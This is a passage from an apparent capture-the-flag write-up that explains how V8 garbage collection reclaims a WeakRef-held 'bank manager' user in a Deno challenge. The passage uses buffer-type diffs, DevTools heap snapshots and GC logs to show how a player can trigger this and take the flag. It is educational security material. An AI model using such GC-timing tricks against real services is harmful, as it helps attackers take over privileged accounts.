<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-23"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-23--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #EF535090">-    for (let i = 0; i &lt; signature.length; i++) {</span></span>
<span><span style="color: #EF535090">-      this.signature[i] = signature.charCodeAt(i);</span></span>
<span><span style="color: #EF535090">-    }</span></span>
<span><span style="color: #4876D6FF">+    this.signature = signature;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #EF535090">-    for (let i = 0; i &lt; signature.length; i++) {</span></span>
<span><span style="color: #EF535090">-      this.signature[i] = signature.charCodeAt(i);</span></span>
<span><span style="color: #EF535090">-    }</span></span>
<span><span style="color: #C5E478FF">+    this.signature = signature;</span></span></code></pre></div></section>
<p>However, even if we want to clone each character one by one, we can also use a traditional array, instead of the fancy <code>Uint8Array</code>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-24"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-24--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #4876D6FF">+    this.signature = new Array(signature.length);</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #C5E478FF">+    this.signature = new Array(signature.length);</span></span></code></pre></div></section>
<p>The flag disappears again. This time it runs out of memory at a denomination of <code>6.5e-4</code> and says the user already exists at <code>6.6e-4</code>.</p>
<p>It<span class="mojikumi-narrow-left">’</span>s about the <code>ArrayBuffer</code>, not the size of each element. <code>Float64Array</code> can also be used to get the flag:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-25"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-25--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #4876D6FF">+    this.signature = new Float64Array(signature.length);</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-    this.signature = new Uint8Array(signature.length);</span></span>
<span><span style="color: #C5E478FF">+    this.signature = new Float64Array(signature.length);</span></span></code></pre></div></section>
<a id="q4-arraybuffer" name="q4-arraybuffer" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q4: ArrayBuffer</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why do we need to use an <code>ArrayBuffer</code> instead of a normal array? What<span class="mojikumi-narrow-left">’</span>s special about an <code>ArrayBuffer</code>?</p></div></div></aside>
<h2 id="inspector-jobs-and-weakref" class="heading"><a href="#inspector-jobs-and-weakref" class="heading-anchor" aria-label="章节： Inspector, Jobs, and WeakRef" tabindex="-1"></a><span>Inspector, Jobs, and WeakRef</span></h2>
<p>Just like <code>F12</code> for the browser, we can also use DevTools for Deno via an inspector.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-26"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-26--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-docker = &#39;docker run --rm -i -m 100m -v ./index.js:/index.js:ro denoland/deno&#39;</span></span>
<span><span style="color: #EF535090">-deno = &#39;deno run --v8-flags=--trace-gc --allow-read /index.js&#39;</span></span>
<span><span style="color: #4876D6FF">+docker = &#39;docker run --rm -i -m 200m --net host -v ./index.js:/index.js:ro denoland/deno&#39;</span></span>
<span><span style="color: #4876D6FF">+deno = &#39;deno run --inspect-brk --v8-flags=--trace-gc --allow-read index.js&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-docker = &#39;docker run --rm -i -m 100m -v ./index.js:/index.js:ro denoland/deno&#39;</span></span>
<span><span style="color: #EF535090">-deno = &#39;deno run --v8-flags=--trace-gc --allow-read /index.js&#39;</span></span>
<span><span style="color: #C5E478FF">+docker = &#39;docker run --rm -i -m 200m --net host -v ./index.js:/index.js:ro denoland/deno&#39;</span></span>
<span><span style="color: #C5E478FF">+deno = &#39;deno run --inspect-brk --v8-flags=--trace-gc --allow-read index.js&#39;</span></span></code></pre></div></section>
<ol>
<li>Modify the command-line arguments as above. We run <code>deno</code> with <code>--<wbr>inspect<wbr>-<wbr>brk</code> to enable the inspector and pause at the start. We use <code>--net host</code> to expose the inspector to the host so that it can be accessed in Chrome. We need to set a larger memory limit or the inspector will not work.</li>
<li>Run the solve script with a non-random username.</li>
<li>Open <code>chrome<wbr>://<wbr>inspect</code> in Chrome. There we can see the remote target and inspect it.</li>
<li>Set breakpoints by clicking the line numbers in the <span class="mojikumi">“</span>Sources<span class="mojikumi">”</span> tab. Here we set a breakpoint after creating the bills.</li>
<li>Click the resume button or press <kbd>F8</kbd>.</li>
<li>Take a heap snapshot in the <span class="mojikumi">“</span>Memory<span class="mojikumi">”</span> tab.</li>
<li>In the snapshot, we can inspect all the objects. Sort them by distance, so that the most relevant ones, <code>Bill</code> and <code>User</code>, will be listed on the top.</li>
</ol>
<p>There are two <code>User</code> objects, the bank manager and the current user. In the <span class="mojikumi">“</span>Retainers<span class="mojikumi">”</span> tab, we can see why the selected object is not garbage collected.</p>
<p>The current user is of course retained, as it<span class="mojikumi-narrow-left">’</span>s referenced by the <code>currentUser</code> variable:</p>
<p><picture><img type="image/webp" srcset="/assets/currentUser.b6ac9601.webp" loading="lazy" src="/assets/currentUser.b6ac9601.webp" width="407" height="326" alt="current user’s retainers, including the currentUser variable"></picture></p>
<p>What about the bank manager?</p>
<p><picture><img type="image/webp" srcset="/assets/weak_refs_keep_during_job.198bfc1c.webp" loading="lazy" src="/assets/weak_refs_keep_during_job.198bfc1c.webp" width="463" height="304" alt="bank manager’s only retainer is weak_refs_keep_during_job"></picture></p>
<p>The only retainer of the bank manager is something called <code>weak_<wbr>refs_<wbr>keep_<wbr>during_<wbr>job</code>. With this hint, we can find the answer in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef#notes_on_weakrefs">WeakRef - JavaScript | MDN</a>:</p>
<blockquote>
<p>If your code has just created a <code>WeakRef</code> for a target object, or has gotten a target object from a <code>WeakRef</code>'s <code>deref</code> method, that target object will not be reclaimed until the end of the current JavaScript job (including any promise reaction jobs that run at the end of a script job). That is, you can only "see" an object get reclaimed between turns of the event loop.</p>
</blockquote>
<p>Even if you are not familiar with the JavaScript event loop, you may have already grasped how it works:</p>
<ul>
<li>When we set a username by ourselves, the input is checked for duplicate by accessing existing users, which will dereference the <code>WeakRef</code> containing the bank manager, preventing it from being reclaimed during the current job. However, when using a random username, that branch will not access the bank manager.</li>
<li>The <code>setTimeout</code> creates a separate job to run the <code>user</code> function, while the bank manager is created outside in the <code>init</code> function.</li>
</ul>
<p>To learn more about JavaScript jobs, you can read <a href="https://javascript.info/event-loop">Event loop: microtasks and macrotasks - javascript.info</a>, <s>or the <a href="https://tc39.es/ecma262/multipage/executable-code-and-execution-contexts.html#job">EMCAScript specification</a> (really?)</s>.</p>
<a id="bonus-gc-at-breakpoint" name="bonus-gc-at-breakpoint" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-green-2 dark:bg-green-9 b-green-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-lightbulb-outline text-green" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Hint: </span><span data-v-a2ab257f>Bonus: GC at breakpoint</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>If you set a breakpoint in the inspector before <code class="break-all">getUserByUsername</code> is called, the bank manager will disappear, because the breakpoint causes GC when the bank manager is not yet accessed in the current job.</p></div></div></aside>
<h2 id="majorminor-gc-and-weakref" class="heading"><a href="#majorminor-gc-and-weakref" class="heading-anchor" aria-label="章节： Major/Minor GC and WeakRef" tabindex="-1"></a><span>Major/Minor GC and WeakRef</span></h2>
<p>In order to understand the remaining <a href="#q3-large-signature">Q3</a> and <a href="#q4-arraybuffer">Q4</a>, we need to dive deeper into how the garbage collector works, e.g. through <a href="https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection">A tour of V8: Garbage Collection</a>, <a href="https://v8.dev/blog/trash-talk">Trash talk: the Orinoco garbage collector</a>, or you can search for other blog posts that might be more accessible for you.</p>
<p>The garbage collector splits the memory heap into two spaces, the new space to store the young generation objects, and the old space to store the old ones. A minor GC (Scavenge) happens frequently to collect some short-lived objects, while a major GC happens much less frequently to collect the remaining objects.</p>
<p>Let<span class="mojikumi-narrow-left">’</span>s see it in action first.</p>
<a id="change-the-buffer-setting" name="change-the-buffer-setting" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-blue-1 dark:bg-blue-9 b-blue" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-pencil text-blue" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Note: </span><span data-v-a2ab257f>Change the buffer setting</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Because the outputs are piped into pwntools, we need to use a line buffer (or disable the buffer) instead of a block buffer so that the GC logs are displayed at the right time, otherwise all logs might be outputted at once when the program exits.</p><section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h4><ile-root id="ile-27"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-27--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-deno = &#39;deno run --v8-flags=--trace-gc --allow-read index.js&#39;</span></span>
<span><span style="color: #4876D6FF">+deno = &#39;stdbuf -oL deno run --v8-flags=--trace-gc --allow-read index.js&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-deno = &#39;deno run --v8-flags=--trace-gc --allow-read index.js&#39;</span></span>
<span><span style="color: #C5E478FF">+deno = &#39;stdbuf -oL deno run --v8-flags=--trace-gc --allow-read index.js&#39;</span></span></code></pre></div></section></div></div></aside>
<p>With a large signature:</p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-28"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-28--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">1186 ms: Scavenge 6.9 (8.1) -&gt; 6.8 (9.1) MB, pooled: 0 MB, 1.52 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1202 ms: Scavenge 6.9 (9.1) -&gt; 6.9 (12.1) MB, pooled: 0 MB, 3.04 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1422 ms: Mark-Compact 8.5 (12.1) -&gt; 8.3 (13.1) MB, pooled: 0 MB, 33.82 / 0.00 ms  (+ 18.8 ms in 0 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 66 ms) (average mu = 0.968, current mu = 0.968) finalize incremental marking via stack guard; GC in old space requested</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">1186 ms: Scavenge 6.9 (8.1) -&gt; 6.8 (9.1) MB, pooled: 0 MB, 1.52 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1202 ms: Scavenge 6.9 (9.1) -&gt; 6.9 (12.1) MB, pooled: 0 MB, 3.04 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1422 ms: Mark-Compact 8.5 (12.1) -&gt; 8.3 (13.1) MB, pooled: 0 MB, 33.82 / 0.00 ms  (+ 18.8 ms in 0 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 66 ms) (average mu = 0.968, current mu = 0.968) finalize incremental marking via stack guard; GC in old space requested</span></span></samp></pre></div></section>
<p>With a small signature or normal array instead of <code>ArrayBuffer</code>:</p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-29"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-29--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">1107 ms: Scavenge 6.9 (7.9) -&gt; 6.8 (8.9) MB, pooled: 0 MB, 4.81 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1117 ms: Scavenge 6.9 (8.9) -&gt; 6.9 (11.6) MB, pooled: 0 MB, 3.58 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1128 ms: Scavenge 8.8 (11.9) -&gt; 8.7 (12.1) MB, pooled: 0 MB, 1.58 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1131 ms: Scavenge 8.9 (12.1) -&gt; 8.9 (17.9) MB, pooled: 0 MB, 2.50 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1153 ms: Scavenge 12.9 (18.1) -&gt; 12.8 (26.6) MB, pooled: 0 MB, 4.72 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1182 ms: Scavenge 17.3 (26.8) -&gt; 17.4 (46.8) MB, pooled: 0 MB, 6.31 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1246 ms: Scavenge 30.0 (47.8) -&gt; 29.6 (84.2) MB, pooled: 0 MB, 13.22 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1692 ms: Scavenge 52.0 (86.3) -&gt; 51.2 (160.5) MB, pooled: 0 MB, 227.47 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">1107 ms: Scavenge 6.9 (7.9) -&gt; 6.8 (8.9) MB, pooled: 0 MB, 4.81 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1117 ms: Scavenge 6.9 (8.9) -&gt; 6.9 (11.6) MB, pooled: 0 MB, 3.58 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1128 ms: Scavenge 8.8 (11.9) -&gt; 8.7 (12.1) MB, pooled: 0 MB, 1.58 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1131 ms: Scavenge 8.9 (12.1) -&gt; 8.9 (17.9) MB, pooled: 0 MB, 2.50 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1153 ms: Scavenge 12.9 (18.1) -&gt; 12.8 (26.6) MB, pooled: 0 MB, 4.72 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1182 ms: Scavenge 17.3 (26.8) -&gt; 17.4 (46.8) MB, pooled: 0 MB, 6.31 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1246 ms: Scavenge 30.0 (47.8) -&gt; 29.6 (84.2) MB, pooled: 0 MB, 13.22 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1692 ms: Scavenge 52.0 (86.3) -&gt; 51.2 (160.5) MB, pooled: 0 MB, 227.47 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span></samp></pre></div></section>
<p>We can see that there is no <code>Mark<wbr>-<wbr>Compact</code> (major GC) but only <code>Scavenge</code> (minor GC) when using small bills. Now we have two new questions:</p>
<a id="q3-1-why-major-gc-for-reclaiming-bank-manager" name="q3-1-why-major-gc-for-reclaiming-bank-manager" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q3.1: Why major GC for reclaiming bank manager?</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why is the bank manager reclaimed in the major GC but not the minor GC?</p></div></div></aside>
<a id="q3-2-why-large-signature-and-arraybuffer-for-major-gc" name="q3-2-why-large-signature-and-arraybuffer-for-major-gc" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q3.2: Why large signature and ArrayBuffer for major GC?</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why is the major GC triggered when using a large signature and <code>ArrayBuffer</code> but not when using a small signature or a normal array?</p></div></div></aside>
<p>A weak reference does not prevent the referent from being reclaimed by the garbage collector, but it does prevent the Scavenge from reclaiming it. It seems that this is not documented, but we can find it in the V8 source code: <a href="https://github.com/v8/v8/blob/d754357c65d58e98e390f538c1120ac4bf2bc614/src/heap/scavenger.cc#L136-L137"><code>v8<wbr>/<wbr>src<wbr>/<wbr>heap<wbr>/<wbr>scavenger<wbr>.<wbr>cc</code></a>:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="C++ 代码块" data-v-c675dba6>C++</h3><ile-root id="ile-30"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-30--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #939DBB">    // Treat weak references as strong.</span></span>
<span><span style="color: #939DBB">    // TODO(marja): Proper weakness handling in the young generation.</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777">    // Treat weak references as strong.</span></span>
<span><span style="color: #637777">    // TODO(marja): Proper weakness handling in the young generation.</span></span></code></pre></div></section>
<p>We can verify this with the following code:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="JavaScript 代码块" data-v-c675dba6>JavaScript</h3><ile-root id="ile-31"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-31--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">const </span><span style="color: #4876D6">ref</span><span style="color: #994CC3"> = </span><span style="color: #0C969B">new</span><span style="color: #994CC3"> </span><span style="color: #4876D6">WeakRef</span><span style="color: #403F53">(</span><span style="color: #994CC3">{}</span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #4876D6">setTimeout</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">for</span><span style="color: #403F53"> (</span><span style="color: #994CC3">let </span><span style="color: #403F53">i</span><span style="color: #994CC3"> = </span><span style="color: #AA0982">0</span><span style="color: #403F53">; i </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">100000</span><span style="color: #403F53">; i</span><span style="color: #994CC3">++</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">const </span><span style="color: #4876D6">_</span><span style="color: #994CC3"> = { a: </span><span style="color: #403F53">i</span><span style="color: #994CC3"> }</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">  </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">log</span><span style="color: #403F53">(</span><span style="color: #0C969B">ref</span><span style="color: #994CC3">.</span><span style="color: #4876D6">deref</span><span style="color: #403F53">());</span></span>
<span><span style="color: #403F53">});</span></span>
<span></span>
<span><span style="color: #4876D6">setTimeout</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">gc</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">  </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">log</span><span style="color: #403F53">(</span><span style="color: #0C969B">ref</span><span style="color: #994CC3">.</span><span style="color: #4876D6">deref</span><span style="color: #403F53">());</span></span>
<span><span style="color: #403F53">});</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">const </span><span style="color: #82AAFF">ref</span><span style="color: #C792EA"> = </span><span style="color: #7FDBCA">new</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">WeakRef</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">{}</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #82AAFF">setTimeout</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">let </span><span style="color: #D7DBE0">i</span><span style="color: #C792EA"> = </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">100000</span><span style="color: #D6DEEB">; </span><span style="color: #D7DBE0">i</span><span style="color: #C792EA">++</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">const </span><span style="color: #82AAFF">_</span><span style="color: #C792EA"> = { a: </span><span style="color: #D7DBE0">i</span><span style="color: #C792EA"> }</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">log</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">ref</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">deref</span><span style="color: #D6DEEB">());</span></span>
<span><span style="color: #D6DEEB">});</span></span>
<span></span>
<span><span style="color: #82AAFF">setTimeout</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #82AAFF">gc</span><span style="color: #D6DEEB">();</span></span>
